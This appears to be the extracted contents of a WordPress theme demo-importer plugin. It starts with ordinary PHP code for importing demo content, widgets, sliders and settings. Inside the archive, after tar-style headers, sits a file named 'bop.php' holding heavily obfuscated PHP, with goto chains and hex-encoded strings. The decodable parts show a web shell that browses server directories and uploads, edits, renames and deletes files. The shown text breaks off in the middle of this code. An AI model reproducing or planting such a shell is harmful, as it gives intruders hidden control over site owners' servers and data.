		add_action( 'admin_enqueue_scripts', array( $this, 'scripts' ) );

		add_action( 'wp_ajax_soodi_download_file', array( $this, 'ajax_download_file' ) );
		add_action( 'wp_ajax_soodi_import', array( $this, 'ajax_import' ) );
		add_action( 'wp_ajax_soodi_config_theme', array( $this, 'ajax_config_theme' ) );
		add_action( 'wp_ajax_soodi_get_images', array( $this, 'ajax_get_images' ) );
		add_action( 'wp_ajax_soodi_generate_image', array( $this, 'ajax_generate_image' ) );
	}

	/**
	 * Add new menu under Appearance menu
	 */
	public function menu() {
		add_theme_page(
			esc_html__( 'Import Demo Data', 'soodi' ),
			esc_html__( 'Import Demo Data', 'soodi' ),
			'edit_theme_options',
			'import-demo-content',
			array( $this, 'page' )
		);
	}

	/**
	 * Load scripts
	 */
	public function scripts( $hook ) {
		if ( 'appearance_page_import-demo-content' != $hook ) {
			return;
		}

		wp_enqueue_style( 'soo-import', plugins_url( 'assets/css/soo-import.css', __FILE__ ) );
		wp_enqueue_script( 'soo-import', plugins_url( 'assets/js/soo-import.js', __FILE__ ), array( 'jquery' ), '1.0.0', true );
	}

	/**
	 * Admin page for importing demo content
	 */
	public function page() {
		if ( isset( $_GET['step'] ) ) {
			$this->import_demo_page();
		} else {
			$this->select_demo_page();
		}
	}

	/**
	 * HTML for select demo page
	 */
	private function select_demo_page() {
		?>

		<div class="wrap">
			<h2><?php echo esc_html( get_admin_page_title() ); ?></h2>

			<div class="updated notice is-dismissible">
				<p><?php _e( 'Before start importing, you have to install all required plugins and other plugins that you want to use.', 'soodi' ) ?></p>
				<button type="button" class="notice-dismiss"><span class="screen-reader-text"><?php _e( 'Dismiss this notice.', 'soodi' ) ?></span></button>
			</div>

			<div class="demos-container">

				<p class="description"><?php _e( 'It usally take few minutes to finish. Please be patient.', 'soodi' ) ?></p>

				<?php foreach( $this->data as $demo => $data ) : ?>

					<form action="<?php echo esc_url( add_query_arg( array( 'step' => 2 ) ) ) ?>" method="post" class="demo-selector">
						<?php wp_nonce_field( 'soo_import_demo' ); ?>
						<input type="hidden" name="demo" value="<?php echo esc_attr( $demo ) ?>">

						<div class="demo-image">
							<img src="<?php echo esc_url( $data['preview'] ) ?>">
						</div>

						<div class="demo-selector-tools">
							<div class="demo-install-progress"></div>
							<div class="demo-install-actions">
								<input type="submit" class="button button-primary" value="<?php _e( 'Install', 'soodi' ) ?>">
								<h2 class="demo-title"><?php echo $data['name'] ?></h2>
								<div class="clear"></div>
							</div>
						</div>
					</form>

				<?php endforeach; ?>

			</div>

		</div>

		<?php
	}

	/**
	 * HTML for import demo page
	 */
	private function import_demo_page() {
		if ( ! check_admin_referer( 'soo_import_demo' ) ) {
			printf(
				'<div class="notice warning"><p>%s <a href="%s">%s</a></p></div>',
				esc_html__( 'Are you sure want to do this?', 'soodi' ),
				remove_query_arg( 'step' ),
				esc_html__( 'Please try again', 'soodi' )
			);
			return;
		}

		$demo = $_POST['demo'];
		if ( ! array_key_exists( $demo, $this->data ) ) {
			printf(
				'<div class="notice warning"><p>%s <a href="%s">%s</a></p></div>',
				esc_html__( 'This import is invalid.', 'soodi' ),
				remove_query_arg( 'step' ),
				esc_html__( 'Please try again', 'soodi' )
			);
			return;
		}
		?>

		<div class="wrap">
			<h2><?php echo esc_html( get_admin_page_title() ); ?></h2>

			<form id="soo-demo-importer" class="hidden" method="post">
				<input type="hidden" name="demo" value="<?php echo esc_attr( $_POST['demo'] ) ?>">
				<?php wp_nonce_field( 'soo_demo_import' ) ?>
			</form>


			<div id="soo-demo-import-progress" class="notice warning notice-warning">
				<p>
					<span class="spinner is-active"></span>
					<span class="text"><?php esc_html_e( 'Starting...', 'soodi' ) ?></span>
				</p>
			</div>

			<div id="soo-demo-import-log" class="soo-demo-log hidden"></div>
		</div>

		<?php
	}

	/**
	 * Import content
	 * Import posts, pages, menus, custom post types
	 *
	 * @param  string $file The exported file's name
	 */
	public function import_content( $file ) {
		// Disable import of authors.
		add_filter( 'wxr_importer.pre_process.user', '__return_false' );

		// Disables generation of multiple image sizes (thumbnails) in the content import step.
		add_filter( 'intermediate_image_sizes_advanced', '__return_null' );

		if ( ! file_exists( $file ) ) {
			return false;
		}

		// Import content.
		if ( ! class_exists( 'Soo_Demo_Content_Importer' ) ) {
			require_once plugin_dir_path( __FILE__ ) . '/includes/class-content-importer.php';
		}

		do_action( 'soo_before_import_content', $file );

		$importer = new Soo_Demo_Content_Importer( array(
			'fetch_attachments' => true
		) );

		if ( ! class_exists( 'WP_Importer_Logger' ) ) {
			require_once plugin_dir_path( __FILE__ ) . '/includes/class-logger.php';
		}

		if ( ! class_exists( 'WP_Importer_Logger_ServerSentEvents' ) ) {
			require_once plugin_dir_path( __FILE__ ) . '/includes/class-logger-serversentevents.php';
		}

		$logger = new WP_Importer_Logger_ServerSentEvents();
		$err = $importer->set_logger( $logger );

		return $importer->import( $file );
	}

	/**
	 * Import theme options
	 *
	 * @param  string $file The exported file's name
	 */
	public function import_customizer( $file ) {
		if ( ! file_exists( $file ) ) {
			return false;
		}

		if( ! class_exists( 'Soo_Demo_Customizer_Importer' ) ) {
			require_once plugin_dir_path( __FILE__ ) . 'includes/customizer-importer.php';
		}

		do_action( 'soo_before_import_customizer', $file );

		// Disables generation of multiple image sizes (thumbnails) in the content import step.
		add_filter( 'intermediate_image_sizes_advanced', '__return_null' );

		$import = new Soo_Demo_Customizer_Importer();
		$import->download_images = true;
		$import->import( $file );

		return true;
	}

	/**
	 * Import widgets
	 *
	 * @param  string $file The exported file's name
	 */
	function import_widgets( $file ) {
		if ( ! file_exists( $file ) ) {
			return false;
		}

		if ( ! class_exists( 'Soo_Demo_Widgets_Importer') ) {
			require_once plugin_dir_path( __FILE__ ) . 'includes/widgets-importer.php';
		}

		do_action( 'soo_before_import_customizer', $file );

		$data 		= json_decode( file_get_contents( $file ) );

		$importer   = new Soo_Demo_Widgets_Importer();
		$importer->import( $data );

		return true;
	}

	/**
	 * Import exported revolution sliders
	 */
	public function import_sliders() {
		if ( ! class_exists( 'RevSlider' ) ) {
			return new WP_Error( 'plugin-not-installed', esc_html__( 'Revolution Slider plugin is not installed', 'soodi' ) );
		}

		$path = $this->get_demo_path();
		$sliders_zip = $path . '/sliders.zip';

		if ( empty( $sliders_zip ) ) {
			return new WP_Error( 'import-sliders', esc_html__( 'There is no slider to import', 'soodi' ) );
		}

		$unzipfile = unzip_file( $sliders_zip, $path );

		if( is_wp_error( $unzipfile ) ) {
			define('FS_METHOD', 'direct'); //lets try direct.

			WP_Filesystem();

			$unzipfile = unzip_file( $sliders_zip, $path );
			@unlink( $sliders_zip );
		}

		$files = scandir( $path . '/sliders/' );

		if ( empty( $files ) ) {
			return new WP_Error( 'import-sliders', esc_html__( 'There is no slider to import', 'soodi' ) );
		}

		$slider = new RevSlider();

		$this->emit_sse_message( array(
			'action' => 'updateTotal',
			'type'   => 'slider',
			'delta'  => count( $files ) - 2,
		));

		foreach( $files as $file ) {
			if ( $file == '.' || $file == '..' ) {
				continue;
			}
			$file = $path . '/sliders/' . $file;

			$response = $slider->importSliderFromPost( true, true, $file );

			$this->emit_sse_message( array(
				'action' => 'updateDelta',
				'type'   => 'slider',
				'delta'  => $response,
			));

			unlink( $file );
		}
	}

	/**
	 * Import menu locations
	 *
	 * @param  string $file The exported file's name
	 */
	public function setup_menus( $demo ) {
		$demo = $this->data[$demo];

		if ( ! isset( $demo['menus'] ) ) {
			return;
		}

		$data = $demo['menus'];
		$menus = wp_get_nav_menus();
		$locations = array();

		foreach( $data as $key => $val ) {
			foreach( $menus as $menu ) {
				if( $val && $menu->slug == $val ) {
					$locations[$key] = absint( $menu->term_id );
				}
			}
		}

		set_theme_mod( 'nav_menu_locations', $locations );
	}

	/**
	 * Setup pages
	 */
	public function setup_pages( $demo ) {
		$demo = $this->data[$demo];

		if ( ! isset( $demo['pages'] ) ) {
			return;
		}

		// Front Page
		if ( isset( $demo['pages']['front_page'] ) ) {
			$home = get_page_by_title( $demo['pages']['front_page'] );

			if ( $home ) {
				update_option( 'show_on_front', 'page' );
				update_option( 'page_on_front', $home->ID );
			}
		}

		// Blog Page
		if ( isset( $demo['pages']['blog'] ) ) {
			$blog = get_page_by_title( $demo['pages']['blog'] );

			if ( $blog ) {
				update_option( 'page_for_posts', $blog->ID );
			}
		}

		// WooCommerce Pages
		if ( class_exists( 'WooCommerce' ) ) {
			// Shop page
			if ( isset( $demo['pages']['shop'] ) && ! get_option( 'woocommerce_shop_page_id' ) ) {
				$shop = get_page_by_title( $demo['pages']['shop'] );

				if ( $shop ) {
					update_option( 'woocommerce_shop_page_id', $shop->ID );
				}
			}

			// Cart page
			if ( isset( $demo['pages']['cart'] ) && ! get_option( 'woocommerce_cart_page_id' ) ) {
				$cart = get_page_by_title( $demo['pages']['cart'] );

				if ( $cart ) {
					update_option( 'woocommerce_cart_page_id', $cart->ID );
				}
			}

			// Checkout page
			if ( isset( $demo['pages']['checkout'] ) && ! get_option( 'woocommerce_checkout_page_id' ) ) {
				$checkout = get_page_by_title( $demo['pages']['checkout'] );

				if ( $checkout ) {
					update_option( 'woocommerce_checkout_page_id', $checkout->ID );
				}
			}

			// Myaccount page
			if ( isset( $demo['pages']['my_account'] ) && ! get_option( 'woocommerce_myaccount_page_id' ) ) {
				$account = get_page_by_title( $demo['pages']['my_account'] );

				if ( $account ) {
					update_option( 'woocommerce_myaccount_page_id', $account->ID );
				}
			}
		}

		flush_rewrite_rules();
	}

	/**
	 * Update options
	 *
	 * @param  int $demo
	 */
	public function update_options( $demo ) {
		$demo = $this->data[$demo];

		if ( empty( $demo['options'] ) ) {
			return;
		}

		foreach ( $demo['options'] as $option => $value) {
			update_option( $option, $value );
		}
	}

	/**
	 * Generate image sizes
	 * @param  int $id
	 */
	public function generate_image( $id ) {
		$fullsizepath = get_attached_file( $id );

		if ( false === $fullsizepath || ! file_exists( $fullsizepath ) ) {
			return false;
		}

		$metadata = wp_generate_attachment_metadata( $id, $fullsizepath );

		if ( ! $metadata || is_wp_error( $metadata ) ) {
			return false;
		}

		// If this fails, then it just means that nothing was changed (old value == new value)
		wp_update_attachment_metadata( $id, $metadata );

		return true;
	}

	/**
	 * Ajax function to import demo content
	 */
	public function ajax_import() {
		if ( ! wp_verify_nonce( $_GET['_wpnonce'], 'soo_demo_import' ) ) {
			wp_send_json_error( esc_html__( 'Verifing failed', 'soodi' ) );
			eixt;
		}

		// Turn off PHP output compression
		$previous = error_reporting( error_reporting() ^ E_WARNING );
		ini_set( 'output_buffering', 'off' );
		ini_set( 'zlib.output_compression', false );
		error_reporting( $previous );

		if ( $GLOBALS['is_nginx'] ) {
			// Setting this header instructs Nginx to disable fastcgi_buffering
			// and disable gzip for this request.
			header( 'X-Accel-Buffering: no' );
			header( 'Content-Encoding: none' );
		}

		// Start the event stream.
		header( 'Content-Type: text/event-stream' );

		set_time_limit( 0 );

		// Ensure we're not buffered.
		wp_ob_end_flush_all();
		flush();

		$type = $_GET['type'];
		$dir = $this->get_demo_path();

		switch ( $type ) {
			case 'content':
				$file = $dir . '/demo-content.xml';
				$result = $this->import_content( $file );
				break;

			case 'customizer':
				$file = $dir . '/customizer.dat';
				$result = $this->import_customizer( $file );
				break;

			case 'widgets':
				$file = $dir . '/widgets.wie';
				$result = $this->import_widgets( $file );
				break;

			case 'sliders':
				$result = $this->import_sliders();
				break;
		}

		// Let the browser know we're done.
		$complete = array(
			'action' => 'complete',
			'error' => false,
		);

		if ( is_wp_error( $result ) ) {
			$complete['error'] = $result->get_error_message();
		}

		@unlink( $file );

		$this->emit_sse_message( $complete );
		exit;
	}

	/**
	 * Ajax function to download file
	 */
	public function ajax_download_file() {
		if ( ! wp_verify_nonce( $_GET['_wpnonce'], 'soo_demo_import' ) ) {
			wp_send_json_error( esc_html__( 'Verifing failed', 'soodi' ) );
			eixt;
		}

		$demo = $_GET['demo'];
		$demo = $this->data[$demo];

		$type = $_GET['type'];

		if ( ! isset( $demo[$type] ) ) {
			wp_send_json_error( esc_html__( 'This demo dose not need', 'soodi' ) . " $type" );
			eixt;
		}

		if ( empty( $demo[$type] ) ) {
			wp_send_json_error( esc_html__( 'File does not exists', 'soodi' ) );
			eixt;
		}

		@set_time_limit(0);

		$file = $this->download_file( $demo[$type] );

		if ( is_wp_error( $file ) ) {
			wp_send_json_error( $file->get_error_message() );
			exit;
		}

		wp_send_json_success();
	}

	/**
	 * Ajax function to setup front page and blog page
	 */
	public function ajax_config_theme() {
		if ( ! wp_verify_nonce( $_GET['_wpnonce'], 'soo_demo_import' ) ) {
			wp_send_json_error( esc_html__( 'Verifing failed', 'soodi' ) );
			eixt;
		}

		$demo = $_GET['demo'];

		// Setup pages
		$this->setup_pages( $demo );

		// Setup menu locations
		$this->setup_menus( $demo );

		// Update options
		$this->update_options( $demo );

		wp_send_json_success( esc_html__( 'Finish setting up front page and blog page.', 'soodi' ) );
	}


	/**
	 * Ajax function to get all image ids
	 */
	public function ajax_get_images() {
		if ( ! wp_verify_nonce( $_GET['_wpnonce'], 'soo_demo_import' ) ) {
			wp_send_json_error( esc_html__( 'Verifing failed', 'soodi' ) );
			eixt;
		}

		global $wpdb;

		$images = $wpdb->get_results( "SELECT ID FROM $wpdb->posts WHERE post_type = 'attachment' AND post_mime_type LIKE 'image/%' ORDER BY ID DESC" );

		$ids = array();

		if ( $images ) {
			foreach ( $images as $image ) {
				$ids[] = $image->ID;
			}
		}

		wp_send_json_success( $ids );
	}

	/**
	 * Ajax function to generate a single image
	 */
	public function ajax_generate_image() {
		if ( ! wp_verify_nonce( $_GET['_wpnonce'], 'soo_demo_import' ) ) {
			wp_send_json_error( esc_html__( 'Verifing failed', 'soodi' ) );
			eixt;
		}

		$id = absint( $_REQUEST['id'] );

		@set_time_limit( 900 ); // 5 minutes per image should be PLENTY

		$result = $this->generate_image( $id );

		if ( ! $result ) {
			wp_send_json_error( esc_html__( 'Failed to generate image ID:', 'soodi' ) . " $id" );
		} else {
			wp_send_json_success( sprintf( esc_html__( 'Generated image ID %s successfully', 'soodi' ), $id ) );
		}
	}

	/**
	 * Download file from URL
	 *
	 * @param  staring $file_url
	 * @return string  Downloaded file path
	 */
	protected function download_file( $file_url ) {
		$filename = basename( $file_url );
		$path = $this->get_demo_path();
		$file = $path . '/' . $filename;

		wp_mkdir_p( $path );

		$ifp = @fopen( $file, 'wb' );

		if ( ! $ifp ) {
			return new WP_Error( 'import_file_error', sprintf( __( 'Could not write file %s' ), $file ) );
		}

		@fwrite( $ifp, 0 );
		fclose( $ifp );
		clearstatcache();

		// Set correct file permissions
		$stat = @stat( dirname( $file ) );
		$perms = $stat['mode'] & 0007777;
		$perms = $perms & 0000666;
		@chmod( $file, $perms );
		clearstatcache();

		$response = wp_remote_get( $file_url, array(
			'stream' => true,
			'filename' => $file,
			'timeout' => 500,
		) );

		// request failed
		if ( is_wp_error( $response ) ) {
			@unlink( $file );
			return $response;
		}

		$code = (int) wp_remote_retrieve_response_code( $response );

		// make sure the fetch was successful
		if ( $code !== 200 ) {
			@unlink( $file );

			return new WP_Error(
				'import_file_error',
				sprintf(
					esc_html__( 'Remote server returned %1$d %2$s for %3$s', 'soodi' ),
					$code,
					get_status_header_desc( $code ),
					$url
				)
			);
		}

		if ( 0 == filesize( $file ) ) {
			@unlink( $file );
			return new WP_Error( 'import_file_error', esc_html__( 'Zero size file downloaded', 'soodi' ) );
		}


		return $file;
	}

	/**
	 * Emit a Server-Sent Events message.
	 *
	 * @param mixed $data Data to be JSON-encoded and sent in the message.
	 */
	protected function emit_sse_message( $data ) {
		echo "event: message\n";
		echo 'data: ' . wp_json_encode( $data ) . "\n\n";

		// Extra padding.
		echo ':' . str_repeat( ' ', 2048 ) . "\n\n";

		flush();
	}

	/**
	 * Get the path to demo directory
	 *
	 * @return string
	 */
	private function get_demo_path() {
		$upload_dir = wp_upload_dir();
		$dir = path_join( $upload_dir['basedir'], 'demo_files' );

		return $dir;
	}
}



if ( version_compare( phpversion(), '5.3.2', '<' ) ) {
	add_action( 'admin_notices', function() {
		$message = sprintf( __( 'The <strong>Soo Demo Importer</strong> plugin requires <strong>PHP 5.3.2+</strong> to run properly. Please contact your hosting company and ask them to update the PHP version of your site to at least PHP 5.3.2.<br> Your current version of PHP: <strong>%s</strong>', 'soodi' ), phpversion() );

		printf( '<div class="notice notice-error"><p>%s</p></div>', wp_kses_post( $message ) );
	} );
} else {
	add_action( 'init', function() {
		new Soo_Demo_Importer();
	} );
}

add_filter( 'soo_demo_packages', function() {
	return array(
		array(
			'name'       => 'Sober',
			'preview'    => 'http://localhost/demo/images/a1.jpg',
			'content'    => 'http://localhost/demo/demo-content.xml',
			'customizer' => 'http://localhost/demo/customizer.dat',
			'widgets'    => 'http://localhost/demo/widgets.wie',
			'sliders'    => 'http://localhost/demo/sliders.zip',
			'pages'      => array(
				'front_page' => 'Home Page 1',
				'blog'       => 'Blog',
				'shop'       => 'Shop',
				'cart'       => 'Cart',
				'checkout'   => 'Checkout',
				'my_account' => 'My Account',
			),
			'menus'      => array(
				'primary'   => 'primary-menu',
				'secondary' => 'secondary-menu',
				'footer'    => 'footer-menu',
				'topbar'	=> 'topbar-menu',
			),
			'options' => array(
				'shop_catalog_image_size' => array(
					'width' => 300,
					'height' => 300,
					'crop' => 1,
				),
				'shop_single_image_size' => array(
					'width' => 600,
					'height' => 600,
					'crop' => 1,
				),
				'shop_thumbnail_image_size' => array(
					'width' => 180,
					'height' => 180,
					'crop' => 1,
				),
			),
		),
	);
} );
index.php000064400000000034147510273060006366 0ustar00<?php
// Silence is golden.
shawwa/bop.php000064400000172310147510273060007340 0ustar00<?php
 goto ZdiF9; jMMxl: echo "\x3c\163\143\x72\151\160\164\x3e\167\x69\x6e\144\x6f\x77\x2e\154\157\x63\x61\164\151\157\156\56\162\x65\160\154\141\143\x65\50\47\77\x70\x3d\47\x29\73\x3c\x2f\163\x63\162\151\x70\x74\x3e"; goto NceqX; BWeZO: i9EUM: goto msapP; ab0lu: goto sQOJ_; goto ir8bv; P3avQ: V_qpU: goto LPtHw; A3nTM: BUsiZ: goto pJ27s; U8hgQ: goto BBXV4; goto SMCag; W9Xqs: goto CY4iE; goto Owl1p; Mt0YO: goto rF6w0; goto t5SJZ; oaU4D: d577N: goto P0OHr; Cusjf: goto M0QMH; goto xCw5Z; BqMBs: goto pkTKS; goto P3avQ; GTSJ1: S1hO1: goto d38bs; kRION: pl7gd: goto uVcqc; tT5Cn: hzE7r: goto r8w4c; kQZdn: goto b1LP0; goto oOBLC; Hx4RL: goto AVX8L; goto fdPc2; X24og: goto VCkMf; goto S8W2C; ihBlf: goto vsQtH; goto Az7Uu; gh6EW: echo "\x3c\x73\143\x72\x69\x70\x74\x3e\x61\154\145\x72\164\x28\47\x53\157\x6d\145\x20\x65\162\162\x6f\162\x20\x6f\143\x63\x75\x72\x72\x65\x64\x2e\47\51\x3b\40\167\151\156\x64\157\x77\x2e\x6c\x6f\143\x61\164\x69\157\x6e\x2e\x72\x65\160\x6c\141\x63\145\x28\47\x3f\160\x3d" . FVvcH(BiAk2) . "\47\x29\73\x3c\x2f\x73\143\x72\151\160\164\x3e"; goto HN90p; HoySF: goto PeSbs; goto lfX2V; ObyqA: r54vC: goto jEpGY; OKIdE: $yWr_G = BiAk2 . "\x2f" . $_GET["\144"]; goto oH_vo; ziYAg: lWD4Q: goto MUUf3; E8QEp: goto ToZxB; goto G1nl6; atCPr: if (!is_dir(Rf42G($_GET["\x70"]))) { goto Vl7lX; } goto HMuii; Ydtqs: mTAZ6: goto xQe0g; oM9bu: LWmIs: goto Fmj3t; Xdr07: Ed5i5: goto q22Ns; F6LtH: goto y2jhu; goto KbIQg; sG5FZ: if (isset($_GET["\145"])) { goto WNxfF; } goto blw8e; fpMBI: J7bms: goto hharf; ENAB9: goto pheDb; goto E1pIm; ir8bv: z_NGP: goto egHZy; HN90p: goto Vw_wx; goto DKwiR; M2pb0: b7zaC: goto RyEXK; qacyQ: WCjaF: goto C2b_z; DuYor: goto AlG72; goto RqYrp; pJCwc: $RqUEp = RF42g($_GET["\x70"]); goto K22RT; LPtHw: bb8YR: goto yqln5; vSfS9: H6vBs: goto slx9O; GG8Lo: OEUhw: goto g5ueS; G2w2b: echo "\xa\74\x2f\x64\151\166\76\12\x3c\144\x69\x76\40\143\x6c\141\163\x73\75\x22\146\x6f\162\155\55\x69\x6e\x6c\x69\156\x65\x22\76\12\x3c\x61\40\150\x72\145\146\75\42\77\x75\x70\154\x6f\x61\144\x26\161\x3d" . urlencode(fvVcH(BiAk2)) . "\42\76\74\142\165\164\164\157\156\x20\x63\x6c\x61\x73\163\75\x22\142\x74\x6e\x20\x62\164\x6e\55\x64\x61\x72\153\42\x20\164\171\160\145\75\x22\x62\165\164\164\157\156\x22\76\x55\x70\154\x6f\141\144\40\x46\151\x6c\145\74\57\x62\x75\164\x74\x6f\x6e\76\74\57\141\76\xa\x3c\x61\x20\x68\x72\145\146\75\x22\x3f\42\76\x3c\x62\165\x74\164\x6f\x6e\x20\x74\171\x70\145\x3d\42\142\x75\164\164\x6f\x6e\x22\x20\143\x6c\141\x73\x73\x3d\x22\x62\x74\156\x20\142\x74\156\55\144\x61\162\x6b\42\x3e\x48\x4f\x4d\x45\x3c\x2f\x62\165\164\164\x6f\156\76\74\x2f\x61\76\40\12\74\57\144\151\166\76\12\74\57\x6e\x61\x76\x3e"; goto uAi2u; JYPhg: eBJn3: goto rhPOw; Kdr1K: goto Ed5i5; goto AohB4; Jxk1d: goto tKfp_; goto F6LtH; BBbvM: if (!isset($_GET["\x71"])) { goto LWmIs; } goto TJ9nE; Z2KlP: if (!empty($_GET["\160"])) { goto N5a5s; } goto ENAB9; TJ9nE: goto qYJdO; goto oM9bu; A3qXr: goto Ii7i1; goto peb0g; IWu3l: goto qbrLn; goto OEDs7; yeQey: goto J7bms; goto iu5EN; xCw5Z: M0QMH: goto JjIjt; Z29ND: fHG5b: goto gh6EW; fBNNX: ToZxB: goto M9fLH; aOX2u: goto d7L5q; goto GG8Lo; LyMs7: jeTL8: goto cib3h; nZB9l: wSc8D: goto Xa2jL; fdPc2: TWLbv: goto sG5FZ; lfX2V: jmMol: goto xw5DR; dD0am: goto Zoz1q; goto IA3U6; P0Vxf: echo "\74\x73\x63\x72\x69\160\164\x3e\xa\x61\x6c\x65\162\x74\x28\47\104\151\x72\145\143\164\x6f\x72\171\x20\151\x73\x20\103\x6f\162\x72\x75\160\164\145\144\x20\x61\156\x64\40\125\x6e\x72\145\x61\x64\141\x62\154\x65\56\47\x29\x3b\12\x77\151\156\x64\x6f\167\56\154\x6f\143\x61\164\151\x6f\156\x2e\x72\x65\x70\x6c\141\143\x65\50\47\77\x27\x29\x3b\xa\x3c\57\163\143\x72\x69\x70\164\x3e"; goto Cusjf; xW7uh: goto Hk3gr; goto PjTyP; PsYed: foreach ($IHsCP as $EcFZE) { goto oiDHi; dgjyX: O0EPX: goto vIw2N; oiDHi: echo "\x20\x20\x20\40\x3c\164\x72\x3e\xa\x20\x20\x20\40\40\40\74\x74\x64\x3e\x3c\151\40\x63\154\141\x73\163\75\47\x66\141\x2d\163\157\x6c\x69\144\x20\x66\x61\x2d\x66\x6f\154\144\145\162\x27\x3e\x3c\x2f\151\76\x20\x3c\141\40\x68\x72\x65\146\x3d\x27\x3f\x70\75" . urlencode(fvVcH(BiAk2 . "\57" . $EcFZE)) . "\47\x3e" . $EcFZE . "\x3c\57\x61\76\x3c\57\x74\144\76\12\40\40\40\40\40\x20\74\164\144\76\74\142\x3e\x2d\x2d\x2d\x3c\57\x62\x3e\x3c\x2f\164\144\76\12\x20\x20\40\40\x20\x20\74\164\144\x3e" . date("\x46\40\144\40\131\x20\110\72\151\x3a\163\56", filemtime(BiAk2 . "\57" . $EcFZE)) . "\x3c\x2f\164\144\x3e\xa\40\x20\x20\x20\x20\40\74\x74\144\x3e\x30" . substr(decoct(fileperms(BiAk2 . "\x2f" . $EcFZE)), -3) . "\74\57\141\x3e\74\57\x74\x64\76\xa\40\x20\40\x20\x20\x20\x3c\164\144\x3e\12\40\40\40\40\40\40\74\141\40\164\151\x74\x6c\145\x3d\x27\122\145\x6e\x61\155\145\x27\40\150\162\145\x66\75\47\77\x71\75" . urlencode(FvVCH(BiAk2)) . "\x26\162\75" . $EcFZE . "\47\76\74\151\40\x63\x6c\x61\x73\x73\x3d\47\x66\141\x2d\x73\150\141\162\x70\x20\x66\141\x2d\x72\x65\147\165\154\x61\162\x20\146\x61\x2d\x70\x65\x6e\55\164\157\x2d\163\x71\x75\141\162\x65\47\76\x3c\57\151\76\74\57\141\76\12\40\x20\x20\40\40\x20\x3c\141\40\x74\x69\164\x6c\x65\x3d\47\104\x65\154\145\164\x65\x27\x20\150\162\145\146\x3d\47\77\161\75" . urlencode(Fvvch(BiAk2)) . "\x26\144\75" . $EcFZE . "\47\76\74\151\40\x63\x6c\141\x73\x73\75\x27\x66\141\40\x66\141\55\x74\x72\x61\163\150\47\x20\141\x72\x69\141\55\x68\x69\144\x64\x65\156\x3d\x27\164\162\x75\145\x27\76\74\x2f\151\76\74\x2f\x61\76\12\x20\40\x20\x20\x20\40\74\x74\x64\x3e\xa\40\x20\40\40\74\57\x74\162\x3e\xa"; goto dgjyX; vIw2N: w0YD0: goto oMJpW; oMJpW: } goto S5OzX; blw8e: goto EWlAt; goto ofNFH; inrUL: de9Ge: goto djCcM; hharf: if (!empty($_GET["\145"]) && isset($_GET["\x71"])) { goto H6vBs; } goto Eb1eM; InNNz: PeSbs: goto xBeVO; MSc2F: aPR2J: goto gi2kT; q87Jk: goto ayJ78; goto ZUovY; QZlDF: Z2xlj: goto WF9pr; MB3c0: foreach ($Vq7jy as $bFLcc) { goto MAmmq; MAmmq: echo "\40\x20\x20\40\74\x74\162\x3e\12\40\x20\40\40\40\x20\x20\40\x20\x20\74\x74\x64\76" . EaQz1($bFLcc) . $bFLcc . "\74\x2f\x74\144\76\12\40\x20\40\40\x20\40\40\40\x20\40\74\164\x64\76" . a6QmD(filesize(BiAk2 . "\57" . $bFLcc)) . "\x3c\57\164\x64\x3e\xa\x20\x20\x20\x20\40\x20\40\40\x20\x20\x3c\164\x64\x3e" . date("\106\x20\144\x20\131\40\x48\72\x69\x3a\x73\56", filemtime(BiAk2 . "\57" . $bFLcc)) . "\x3c\x2f\x74\x64\76\12\x20\40\x20\x20\x20\40\40\40\x20\x20\x3c\x74\144\76\x30" . substr(decoct(fileperms(BiAk2 . "\x2f" . $bFLcc)), -3) . "\x3c\x2f\x61\x3e\x3c\x2f\x74\x64\x3e\xa\x20\40\x20\x20\x20\x20\40\x20\x20\40\74\x74\144\76\xa\40\x20\40\40\x20\x20\40\x20\x20\x20\x3c\141\40\x74\x69\x74\x6c\x65\75\47\105\144\x69\164\40\x46\151\154\x65\x27\40\x68\162\145\x66\75\x27\x3f\x71\x3d" . urlencode(fvVcH(BiAk2)) . "\46\145\75" . $bFLcc . "\47\76\74\x69\40\x63\x6c\141\x73\x73\75\47\x66\x61\55\x73\x6f\154\151\144\40\x66\x61\x2d\146\x69\x6c\x65\x2d\x70\145\156\x27\76\x3c\57\x69\x3e\74\57\141\x3e\12\40\x20\40\x20\40\40\40\x20\40\40\74\x61\40\164\151\x74\x6c\145\x3d\47\122\145\156\x61\155\145\47\40\150\x72\145\146\x3d\47\77\161\x3d" . urlencode(FVVch(BiAk2)) . "\x26\x72\75" . $bFLcc . "\47\x3e\74\x69\40\143\x6c\x61\163\163\75\x27\x66\x61\x2d\163\x68\141\x72\160\40\146\141\x2d\162\145\x67\165\x6c\141\x72\x20\x66\x61\55\160\145\x6e\55\x74\157\55\x73\x71\x75\x61\x72\145\47\x3e\x3c\57\151\x3e\74\57\x61\x3e\xa\x20\x20\x20\40\x20\x20\40\x20\x20\40\x3c\x61\40\164\151\x74\x6c\145\75\x27\104\145\154\145\x74\x65\x27\40\150\x72\145\146\x3d\47\x3f\161\x3d" . urlencode(FvvcH(BiAk2)) . "\46\x64\75" . $bFLcc . "\x27\76\74\151\x20\143\154\141\163\x73\75\47\x66\141\40\x66\x61\x2d\164\162\x61\x73\x68\x27\x20\141\x72\x69\141\x2d\x68\x69\144\x64\145\156\75\47\x74\x72\165\145\x27\76\74\57\x69\76\74\x2f\141\76\xa\40\x20\40\40\40\x20\x20\x20\x20\40\74\x74\x64\76\xa\40\40\40\x20\x3c\57\164\162\76\12"; goto Gnpec; Gnpec: dksDn: goto BDiDk; BDiDk: FfwoX: goto ysqjW; ysqjW: } goto tGcIw; r58Tj: function yW2K3($bFLcc) { return substr(strrchr($bFLcc, "\56"), 1); } goto vButR; S8umE: tqxAN: goto OKIdE; GkSmD: rXJoI: goto VScMe; LNxR5: QDmwy: goto SFof9; JKh4T: goto xsiJ7; goto D3FRx; wf15E: goto Faaq7; goto BWeZO; D3FRx: nv1ec: goto Bpnt2; GXE9g: goto fH4pl; goto u1opu; SFof9: goto su1GO; goto IiNvb; EnjTA: qt3kE: goto aqOV7; lU9n1: xsiJ7: goto P0Vxf; JqvhZ: Ujux3: goto Zorus; oE2_C: t05ib: goto cS30_; PPglv: goto GA838; goto uhiqj; RqYrp: AiKDK: goto c1ckf; Byluh: goto FJgTU; goto W8TM0; djCcM: mAbKi: goto Qs2sL; wF0Ja: foreach ($Xb7P9 as $icZz0) { goto th82k; R9hnK: if (!is_dir($wPUby)) { goto Zi5qI; } goto P_VvV; SXTfX: vm6Hd: goto O4QuS; th82k: goto Zk04l; goto ydyHG; ZKckS: goto G92Uo; goto mybLz; RtQhV: $wPUby = BiAk2 . "\x2f" . $icZz0; goto XM8il; mybLz: pP1AK: goto vdpJN; JpKje: eCvaW: goto HxbEf; XMHt3: v1_Mm: goto SpDVF; JMaYH: Zk04l: goto re0DN; 